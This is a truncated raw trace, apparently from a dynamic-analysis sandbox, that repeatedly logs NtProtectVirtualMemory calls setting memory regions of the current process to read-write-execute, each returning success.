NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.682] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.698] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.759] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.848] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.949] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.007] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.096] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.145] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.388] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.671] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.877] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.887] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, 